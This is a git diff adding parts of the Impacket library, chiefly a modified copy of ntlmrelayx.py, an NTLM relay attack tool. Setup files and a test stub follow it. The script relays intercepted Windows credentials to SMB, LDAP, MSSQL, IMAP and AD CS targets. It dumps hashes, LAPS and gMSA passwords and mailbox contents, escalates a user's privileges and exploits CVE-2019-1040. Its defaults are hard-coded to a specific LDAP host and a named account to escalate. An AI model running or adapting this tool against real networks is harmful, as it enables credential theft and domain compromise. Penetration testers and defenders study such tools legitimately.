+        SCElem.MODEL_NUMBER: StringBuilder(),
+        SCElem.NEW_DEVICE_NAME: StringBuilder(),
+        SCElem.NEW_PASSWORD: StringBuilder(),
+        SCElem.SERIAL_NUMBER: StringBuilder(),
+        SCElem.EAP_IDENTITY: StringBuilder(),
+        SCElem.NETWORK_KEY: StringBuilder(),
+            
+        SCElem.AP_CHANNEL: NumBuilder(2),
+        SCElem.ASSOCIATION_STATE: NumBuilder(2),
+        SCElem.AUTHENTICATION_TYPE: NumBuilder(2),
+        SCElem.AUTHENTICATION_TYPE_FLAGS: NumBuilder(2),
+        SCElem.CONFIG_METHODS: NumBuilder(2),
+        SCElem.CONFIGURATION_ERROR: NumBuilder(2),
+        SCElem.DEVICE_PASSWORD_ID: NumBuilder(2),
+        SCElem.ENCRYPTION_TYPE: NumBuilder(2),
+        SCElem.ENCRYPTION_TYPE_FLAGS: NumBuilder(2),
+        SCElem.MESSAGE_COUNTER: NumBuilder(8),       
+        SCElem.KEY_LIFETIME: NumBuilder(4),
+        SCElem.PERMITTED_CONFIG_METHODS: NumBuilder(2),
+        SCElem.SELECTED_REGISTRAR_CONFIG_METHODS: NumBuilder(2),
+        SCElem.PUBLIC_KEY: NumBuilder(192),
+
+    }
+    
+    @classmethod
+    def build_tlv_container(cls):
+        return TLVContainer(
+            builders=SimpleConfig.BUILDERS, 
+            descs = dict( (v,k) for (k,v) in SCElem.__dict__.items() )
+        )
diff --git a/ntlmrelayx.py b/ntlmrelayx.py
new file mode 100644
index 0000000..caf8956
--- /dev/null
+++ b/ntlmrelayx.py
@@ -0,0 +1,511 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# Copyright (C) 2022 Fortra. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Generic NTLM Relay Module
+#
+#   This module performs the SMB Relay attacks originally discovered
+#   by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
+#   It receives a list of targets and for every connection received it
+#   will choose the next target and try to relay the credentials. Also, if
+#   specified, it will first to try authenticate against the client connecting
+#   to us.
+#
+#   It is implemented by invoking a SMB and HTTP Server, hooking to a few
+#   functions and then using the specific protocol clients (e.g. SMB, LDAP).
+#   It is supposed to be working on any LM Compatibility level. The only way
+#   to stop this attack is to enforce on the server SPN checks and or signing.
+#
+#   If the authentication against the targets succeeds, the client authentication
+#   succeeds as well and a valid connection is set against the local smbserver.
+#   It's up to the user to set up the local smbserver functionality. One option
+#   is to set up shares with whatever files you want to so the victim thinks it's
+#   connected to a valid SMB server. All that is done through the smb.conf file or
+#   programmatically.
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+
+import argparse
+import sys
+import logging
+import cmd
+try:
+    from urllib.request import ProxyHandler, build_opener, Request
+except ImportError:
+    from urllib2 import ProxyHandler, build_opener, Request
+
+import json
+from time import sleep
+from threading import Thread
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer
+from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
+from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
+from impacket.examples.ntlmrelayx.clients.dcsyncclient import DCSYNCRelayClient
+from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient,HTTPSRelayClient
+from impacket.examples.ntlmrelayx.clients.rpcrelayclient import RPCRelayClient
+from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient
+from impacket.examples.ntlmrelayx.clients.smtprelayclient import SMTPRelayClient
+from impacket.examples.ntlmrelayx.clients.ldaprelayclient import LDAPRelayClient,LDAPSRelayClient
+from impacket.examples.ntlmrelayx.clients.mssqlrelayclient import MSSQLRelayClient
+from impacket.examples.ntlmrelayx.clients.imaprelayclient import IMAPRelayClient,IMAPSRelayClient
+from impacket.examples.ntlmrelayx.attacks.dcsyncattack import DCSYNCAttack
+from impacket.examples.ntlmrelayx.attacks.httpattack import HTTPAttack
+from impacket.examples.ntlmrelayx.attacks.httpattacks import adcsattack
+from impacket.examples.ntlmrelayx.attacks.ldapattack import LDAPAttack
+from impacket.examples.ntlmrelayx.attacks.mssqlattack import MSSQLAttack
+from impacket.examples.ntlmrelayx.attacks.smbattack import SMBAttack
+from impacket.examples.ntlmrelayx.attacks.imapattack import IMAPAttack
+from impacket.examples.ntlmrelayx.attacks.rpcattack import RPCAttack
+
+PROTOCOL_ATTACKS = {"DCSYNC":DCSYNCAttack, "HTTP":HTTPAttack, "HTTPS":adcsattack ,"IMAP":IMAPAttack,"IMAPS":IMAPAttack,"SMB":SMBAttack,"RPC":RPCAttack,"MSSQL":MSSQLAttack,"LDAP":LDAPAttack, "LDAPS":LDAPAttack}
+PROTOCOL_CLIENTS = {"DCSYNC":DCSYNCRelayClient, "HTTP":HTTPRelayClient, "HTTPS":HTTPSRelayClient, "SMTP":SMTPRelayClient, "LDAPS":LDAPSRelayClient, "IMAP":IMAPRelayClient, "IMAPS":IMAPSRelayClient, "SMB":SMBRelayClient,"RPC":RPCRelayClient,"MSSQL":MSSQLRelayClient,"LDAP":LDAPRelayClient}
+                                                                                                                                                                                                                                                                                                
+RELAY_SERVERS = []
+
+class MiniShell(cmd.Cmd):
+    def __init__(self, relayConfig, threads):
+        cmd.Cmd.__init__(self)
+
+        self.prompt = 'ntlmrelayx> '
+        self.tid = None
+        self.relayConfig = relayConfig
+        self.intro = 'Type help for list of commands'
+        self.relayThreads = threads
+        self.serversRunning = True
+
+    @staticmethod
+    def printTable(items, header):
+        colLen = []
+        for i, col in enumerate(header):
+            rowMaxLen = max([len(row[i]) for row in items])
+            colLen.append(max(rowMaxLen, len(col)))
+
+        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
+
+        # Print header
+        print(outputFormat.format(*header))
+        print('  '.join(['-' * itemLen for itemLen in colLen]))
+
+        # And now the rows
+        for row in items:
+            print(outputFormat.format(*row))
+
+    def emptyline(self):
+        pass
+
+    def do_targets(self, line):
+        for url in self.relayConfig.target.originalTargets:
+            print(url.geturl())
+        return
+
+    def do_finished_attacks(self, line):
+        for url in self.relayConfig.target.finishedAttacks:
+            print (url.geturl())
+        return
+
+    def do_socks(self, line):
+        headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"]
+        url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays"
+        try:
+            proxy_handler = ProxyHandler({})
+            opener = build_opener(proxy_handler)
+            response = Request(url)
+            r = opener.open(response)
+            result = r.read()
+            items = json.loads(result)
+        except Exception as e:
+            logging.error("ERROR: %s" % str(e))
+        else:
+            if len(items) > 0:
+                               
+                self.printTable(items, header=headers)
+            else:
+                logging.info('No Relays Available!')
+            
+                                                  
+    def do_startservers(self, line):
+        if not self.serversRunning:
+            start_servers(options, self.relayThreads)
+            self.serversRunning = True
+            logging.info('Relay servers started')
+        else:
+            logging.error('Relay servers are already running!')
+
+    def do_stopservers(self, line):
+        if self.serversRunning:
+            stop_servers(self.relayThreads)
+            self.serversRunning = False
+            logging.info('Relay servers stopped')
+        else:
+            logging.error('Relay servers are already stopped!')
+
+    def do_exit(self, line):
+        print("Shutting down, please wait!")
+        return True
+
+    def do_EOF(self, line):
+        return self.do_exit(line)
+
+def start_servers(options, threads):
+    for server in RELAY_SERVERS:
+        #Set up config
+        c = NTLMRelayxConfig()
+        c.setProtocolClients(PROTOCOL_CLIENTS)
+        c.setRunSocks(options.socks, socksServer)
+        c.setTargets(targetSystem)
+        c.setExeFile(options.e)
+        c.setCommand(options.c)
+        c.setEnumLocalAdmins(options.enum_local_admins)
+        c.setDisableMulti(options.no_multirelay)
+        c.setEncoding(codec)
+        c.setMode(mode)
+        c.setAttacks(PROTOCOL_ATTACKS)
+        c.setLootdir(options.lootdir)
+        c.setOutputFile(options.output_file)
+        c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.user_delegate_access)
+        c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port)
+        c.setMSSQLOptions(options.query)
+        c.setInteractive(options.interactive)
+        c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)
+        c.setIPv6(options.ipv6)
+        c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
+        c.setSMB2Support(options.smb2support)
+        c.setSMBChallenge(options.ntlmchallenge)
+        c.setInterfaceIp(options.interface_ip)
+        c.setExploitOptions(options.remove_mic, options.remove_target)
+        c.setWebDAVOptions(options.serve_image)
+        c.setIsADCSAttack(options.adcs)
+        c.setADCSOptions(options.template)
+        c.setIsShadowCredentialsAttack(options.shadow_credentials)
+        c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type,
+                                      options.cert_outfile_path)
+
+        c.setAltName(options.altname)
+    
+        #If the redirect option is set, configure the HTTP server to redirect targets to SMB
+        if server is HTTPRelayServer and options.r is not None:
+            c.setMode('REDIRECT')
+            c.setRedirectHost(options.r)
+
+        #Use target randomization if configured and the server is not SMB
+        if server is not SMBRelayServer and options.random:
+            c.setRandomTargets(True)
+
+        if server is HTTPRelayServer:
+            c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
+            for port in options.http_port:
+                c.setListeningPort(port)
+                s = server(c)
+                s.start()
+                threads.add(s)
+                sleep(0.1)
+            continue
+
+        elif server is SMBRelayServer:
+            c.setListeningPort(options.smb_port)
+        elif server is WCFRelayServer:
+            c.setListeningPort(options.wcf_port)
+        elif server is RAWRelayServer:
+            c.setListeningPort(options.raw_port)
+
+        s = server(c)
+        s.start()
+        threads.add(s)
+    return c
+
+def stop_servers(threads):
+    todelete = []
+    for thread in threads:
+        if isinstance(thread, tuple(RELAY_SERVERS)):
+            thread.server.shutdown()
+            todelete.append(thread)
+    # Now remove threads from the set
+    for thread in todelete:
+        threads.remove(thread)
+        del thread
+
+# Process command-line arguments.
+if __name__ == '__main__':
+
+    
+    #Parse arguments
+    parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
+                                    "try to relay that connection to specified target(s) system or the original client")
+    parser._optionals.title = "Main options"
+
+    #Main arguments
+    parser.add_argument("-h","--help", action="help", help='show this help message and exit')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    
+    #need notice
+    #need change
+    #parser.add_argument('-t',"--target",default='ldap://10.68.249.8', action='store', metavar = 'TARGET')
+    parser.add_argument('-t',"--target",default='ldap://192.168.160.128', action='store', metavar = 'TARGET')
+
+
+    parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
+                                                                             'full URL, one per line')
+    parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
+                                                        'automatically (only valid with -tf)')
+    parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient, LDAP console or SQL shell instead'
+                        'of executing a command after a successful relay. This console will listen locally on a '
+                        ' tcp port and can be reached with for example netcat.')
+
+    # Interface address specification
+    parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
+                  'bind SMB and HTTP servers',default='')
+
+    serversoptions = parser.add_argument_group()
+    serversoptions.add_argument('--no-smb-server', action='store_false', help='Disables the SMB server')
+    serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')
+    serversoptions.add_argument('--no-wcf-server', action='store_false', help='Disables the WCF server')
+    serversoptions.add_argument('--no-raw-server', action='store_false', help='Disables the RAW server')
+
+    parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)
+    parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80")
+    parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389)  # ADWS
+    parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666)
+
+    parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)')
+    parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection')
+    parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
+    parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
+                    'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
+    parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
+                                                                   'will be added for ntlm and ntlmv2')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                                                       'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py '
+                                                       'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
+    parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support')
+    parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the '
+                                                                             'SMB Server (16 hex bytes long. eg: 1122334455667788)')
+    parser.add_argument('-socks', action='store_true', default=False,
+                        help='Launch a SOCKS proxy for the connection relayed')
+    #need notice 
+    parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, '
+                                                                   'setting the proxy host to the one supplied.')
+    parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed '
+                                                                   'before serving a WPAD file. (default=1)')
+    
+    #need notice 
+    parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
+    parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
+    parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')
+    parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
+                        'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be'
+                        ' in the same directory). For RPC no output will be provided.')
+
+    #SMB arguments
+    smboptions = parser.add_argument_group("SMB client options")
+
+    smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
+                                     'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
+    smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
+                                                                                                                                                                                                   
+
+
+                                                                                                                                                                                         
+    #RPC arguments
+    rpcoptions = parser.add_argument_group("RPC client options")
+    rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported')
+    rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes')
+    rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]',
+        help='Use this credential to authenticate to SMB (low-privilege account)')
+    rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH")
+    rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB')
+
+    #MSSQL arguments
+    mssqloptions = parser.add_argument_group("MSSQL client options")
+    mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
+                        '(can specify multiple)')
+
+    #HTTPS options
+    httpoptions = parser.add_argument_group("HTTP options")
+    httpoptions.add_argument('-machine-account', action='store', required=False,
+                            help='Domain machine account to use when interacting with the domain to grab a session key for '
+                                 'signing, format is domain/machine_name')
+    httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
+                            help='Domain machine hashes, format is LMHASH:NTHASH')
+    httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
+    httpoptions.add_argument('-remove-target', action='store_true', default=False,
+                            help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')
+
+    #LDAP options
+    #need notice 
+    ldapoptions = parser.add_argument_group("LDAP client options")
+    ldapoptions.add_argument('--no-dump', action='store_true', required=False, help='Do not attempt to dump LDAP information')
+    ldapoptions.add_argument('--no-da', action='store_true', required=False, help='Do not attempt to add a Domain Admin')
+    ldapoptions.add_argument('--no-acl', action='store_true', required=False, help='Disable ACL attacks')
+    ldapoptions.add_argument('--no-validate-privs', action='store_true', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
+    
+    #need notice 
+    #need change
+    ldapoptions.add_argument('--escalate-user', default='zhangleic$', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
+    
+    ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account')
+    #need notice 
+    ldapoptions.add_argument('--delegate-access', action='store_false', required=False, help='Delegate access on relayed computer account to the specified account')
+    
+    ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name')
+    ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user')
+    ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')
+    ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')
+    ldapoptions.add_argument('--user-delegate-access', action='store_false', required=False, help='Delegate access on relayed user account to the specified account')
+                                                                                                                                                           
+
+    #IMAP options
+    imapoptions = parser.add_argument_group("IMAP client options")
+    imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
+                        'If not specified, will search for mails containing "password"')
+    imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
+    imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
+                        'dump all emails')
+    imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
+        '(0 = unlimited, default: no limit)')
+
+    # AD CS options
+    adcsoptions = parser.add_argument_group("AD CS attack options")
+    adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
+    adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
+    adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
+
+    # Shadow Credentials attack options
+    shadowcredentials = parser.add_argument_group("Shadow Credentials attack options")
+    shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False,
+                                   help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)')
+    shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from')
+    shadowcredentials.add_argument('--pfx-password', action='store', required=False,
+                                   help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)')
+    shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", "PFX"], type=lambda choice: choice.upper(), default="PFX",
+                                   help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
+    shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')
+                                                                                                                                 
+                                                                                                                                                                
+    try:
+       options = parser.parse_args()
+    except Exception as e:
+       logging.error(str(e))
+       sys.exit(1)
+
+    if options.rpc_use_smb and not options.auth_smb:
+       logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes")
+       sys.exit(1)
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
+
+    # Let's register the protocol clients we have
+    # ToDo: Do this better somehow
+    #for x in PROTOCOL_CLIENTS.keys():
+    #    logging.info('Protocol Client %s loaded..' % x)                                                                                                                                                                                                       
+
+    if options.codec is not None:
+        codec = options.codec
+    else:
+        codec = sys.getdefaultencoding()
+
+                                                    
+                                                 
+    if options.target is not None:
+        logging.info("Running in relay mode to single host")
+        mode = 'RELAY'
+        targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)
+        # Disabling multirelay feature (Single host + general candidate)
+        if targetSystem.generalCandidates:
+            options.no_multirelay = True
+    else:
+        if options.tf is not None:
+            #Targetfile specified
+                                                            
+                      
+                                                                                                                                
+            logging.info("Running in relay mode to hosts in targetfile")
+            targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)
+            mode = 'RELAY'
+        else:
+            logging.info("Running in reflection mode")
+            targetSystem = None
+            mode = 'REFLECTION'
+
+    if not options.no_smb_server:
+        RELAY_SERVERS.append(SMBRelayServer)
+
+    if not options.no_http_server:
+        RELAY_SERVERS.append(HTTPRelayServer)
+        try:
+            options.http_port = parse_listening_ports(options.http_port)
+        except ValueError:
+            logging.error("Incorrect specification of port range for HTTP server")
+            sys.exit(1)
+
+        if options.r is not None:
+            logging.info("Running HTTP server in redirect mode")
+
+    if not options.no_wcf_server:
+        RELAY_SERVERS.append(WCFRelayServer)
+
+    if not options.no_raw_server:
+        RELAY_SERVERS.append(RAWRelayServer)
+
+    if targetSystem is not None and options.w:
+        watchthread = TargetsFileWatcher(targetSystem)
+        watchthread.start()
+
+    threads = set()
+    socksServer = None
+    if options.socks is True:
+        # Start a SOCKS proxy in the background
+        socksServer = SOCKS()
+        socksServer.daemon_threads = True
+        socks_thread = Thread(target=socksServer.serve_forever)
+        socks_thread.daemon = True
+        socks_thread.start()
+        threads.add(socks_thread)
+
+    c = start_servers(options, threads)
+
+    print("")
+    logging.info("Servers started, waiting for connections")
+    try:
+        if options.socks:
+            shell = MiniShell(c, threads)
+            shell.cmdloop()
+        else:
+            sys.stdin.read()
+    except KeyboardInterrupt:
+        pass
+    else:
+        pass
+
+    if options.socks is True:
+        socksServer.shutdown()
+        del socksServer
+
+    for s in threads:
+        del s
+
+    sys.exit(0)
diff --git a/requirements-test.txt b/requirements-test.txt
new file mode 100644
index 0000000..cffeec6
--- /dev/null
+++ b/requirements-test.txt
@@ -0,0 +1,2 @@
+pytest
+pytest-cov
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..cd19c89
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,11 @@
+future
+six
+charset_normalizer
+pyasn1>=0.2.3
+pycryptodomex
+pyOpenSSL>=21.0.0
+ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6
+ldapdomaindump>=0.9.0
+flask>=1.0
+pyreadline;sys_platform == 'win32'
+dsinternals
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..fba743f
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Setup file
+#
+import glob
+import os
+import platform
+
+from setuptools import setup
+from subprocess import *
+
+PACKAGE_NAME = "impacket"
+
+VER_MAJOR = 0
+VER_MINOR = 10
+VER_MAINT = 1
+VER_PREREL = "dev1"
+try:
+    if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0:
+        p = Popen("git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE)
+        (outstr, __) = p.communicate()
+        (VER_CDATE,VER_CTIME) = outstr.strip().decode("utf-8").split('.')
+
+        p = Popen("git rev-parse --short HEAD", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE)
+        (outstr, __) = p.communicate()
+        VER_CHASH = outstr.strip().decode("utf-8")
+
+        VER_LOCAL = "+{}.{}.{}".format(VER_CDATE, VER_CTIME, VER_CHASH)
+    else:
+        VER_LOCAL = ""
+except Exception:
+    VER_LOCAL = ""
+
+if platform.system() != 'Darwin':
+    data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))]
+else:
+    data_files = []
+
+
+def read(fname):
+    return open(os.path.join(os.path.dirname(__file__), fname)).read()
+
+
+setup(
+    name=PACKAGE_NAME,
+    version="{}.{}.{}.{}{}".format(VER_MAJOR, VER_MINOR, VER_MAINT, VER_PREREL, VER_LOCAL),
+    description="Network protocols Constructors and Dissectors",
+    url="https://www.secureauth.com/labs/open-source-tools/impacket",
+    author="SecureAuth Corporation",
+    author_email="oss@secureauth.com",
+    maintainer="SecureAuth's Innovation Labs ",
+    maintainer_email="oss@secureauth.com",
+    license="Apache modified",
+    long_description=read('README.md'),
+    long_description_content_type="text/markdown",
+    platforms=["Unix", "Windows"],
+    packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom',
+              'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx',
+              'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers',
+              'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils',
+              'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'],
+    scripts=glob.glob(os.path.join('examples', '*.py')),
+    data_files=data_files,
+    install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',
+                      'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'],
+    extras_require={'pyreadline:sys_platform=="win32"': [],
+                    },
+    classifiers=[
+        "Programming Language :: Python :: 3.9",
+        "Programming Language :: Python :: 3.8",
+        "Programming Language :: Python :: 3.7",
+        "Programming Language :: Python :: 3.6",
+    ]
+)
diff --git a/tests/ImpactPacket/__init__.py b/tests/ImpactPacket/__init__.py
new file mode 100644
index 0000000..7b6dcb7
--- /dev/null
+++ b/tests/ImpactPacket/__init__.py
@@ -0,0 +1,9 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
diff --git a/tests/ImpactPacket/test_ICMP6.py b/tests/ImpactPacket/test_ICMP6.py
new file mode 100644
index 0000000..6765f98
--- /dev/null
+++ b/tests/ImpactPacket/test_ICMP6.py
@@ -0,0 +1,172 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket import IP6, ImpactDecoder, ICMP6
+
+
+class TestICMP6(unittest.TestCase):
+        
+    def setUp(self):
+        self.packet_list = self.generate_icmp6_constructed_packets()        
+        self.message_description_list = [
+                             "Echo Request",
+                             "Echo Reply",
+                             "Parameter problem - Erroneous header field",
+                             "Parameter problem - Unrecognized Next Header",
+                             "Parameter problem - Unrecognized IP6 Option",
+                             "Destination unreachable - No route to destination",
+                             "Destination unreachable - Administratively prohibited",
+                             "Destination unreachable - Beyond scope of source address",
+                             "Destination unreachable - Address unreachable ",
+                             "Destination unreachable - Port unreachable",
+                             "Destination unreachable - Src addr failed due to policy",
+                             "Destination unreachable - Reject route",
+                             "Time exceeded - Hop limit exceeded in transit",
+                             "Time exceeded - Fragment reassembly time exceeded",
+                             "Packet too big"
+                             ]
+        self.reference_data_list = [
+                               [0x80, 0x00, 0xA2, 0xA6, 0x00, 0x01, 0x00, 0x02, 0xFE, 0x56, 0x88],#Echo Request
+                               [0x81, 0x00, 0xA1, 0xA6, 0x00, 0x01, 0x00, 0x02, 0xFE, 0x56, 0x88],#Echo Reply
+                               [0x04, 0x00, 0x1E, 0xA8, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],#Parameter problem
+                               [0x04, 0x01, 0x1E, 0xA7, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],
+                               [0x04, 0x02, 0x1E, 0xA6, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],
+                               [0x01, 0x00, 0x21, 0xAA, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],#Dest. unreachable
+                               [0x01, 0x01, 0x21, 0xA9, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
+                               [0x01, 0x02, 0x21, 0xA8, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
+                               [0x01, 0x03, 0x21, 0xA7, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
